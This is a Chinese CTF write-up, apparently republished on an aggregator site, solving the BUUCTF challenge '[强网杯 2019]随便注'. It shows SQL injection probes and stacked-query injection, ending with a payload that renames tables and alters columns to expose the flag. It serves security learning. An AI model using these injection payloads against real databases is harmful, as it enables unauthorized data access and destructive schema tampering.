BUUCTF [强网杯 2019]随便注

Posted 热绪

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUUCTF [强网杯 2019]随便注相关的知识,希望对你有一定的参考价值。

打开环境:

输入1回显如下:

习惯性的测试了 1'

输入1' # 回显正常,确定了存在SQL注入。

测试:1' or 1=1 #,不出意外

按照正常注入流程进行测试字段数:1' order by 3#

测试:1' order by 2 #

回显正常,确定字段数为2。

测试:1' union select 1,2

返回了一个正则过滤规则,可以看到将很多常用的SQL字段过滤掉。

这时候我们想到堆叠注入,测试一下:

1';show databases;#

所有的数据库名字就遍历出了。

知道是堆叠注入就好说了:

1';show tables; #

查看表名;

共有两张表,分别看看有什么字段;

-1';show columns from 1919810931114514;#

 

-1';show columns from words;#

可以看出并没有什么关键的信息。

在知道表内都有什么字段之后,我们就开始查找flag了。

本题随意有强大的过滤规则,但是还是忽略了alert和rename关键字。

由于默认输出的是words表的数据。

所以我们想到:将words表改为words1;将1919810931114514表改为words,将新的words表插入一列,列名为id,flag列改名为data。

构造的payload如下:

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

然后再用1' or 1=1 #  遍历新words表(存在flag的表)

即可查到flag

思路:默认展示的是words表,flag不在words表,将flag所在的表名改为words,并将可以输出的字段名进行修改;由于过滤了很多常用SQL字段,所以只能进行修改来完成查询,大师傅的方法实在是高,想要做出此题需要较高的数据库水平。难点在于查询1919810931114514表中的数据这里。

 

 

 

以上是关于BUUCTF [强网杯 2019]随便注的主要内容,如果未能解决你的问题,请参考以下文章

强网杯 2019 随便注

[强网杯2019]随便注

[强网杯 2019]随便注

[强网杯 2019]随便注

[强网杯 2019]随便注

强网杯 2019]随便注(堆叠注入,Prepareexecutedeallocate)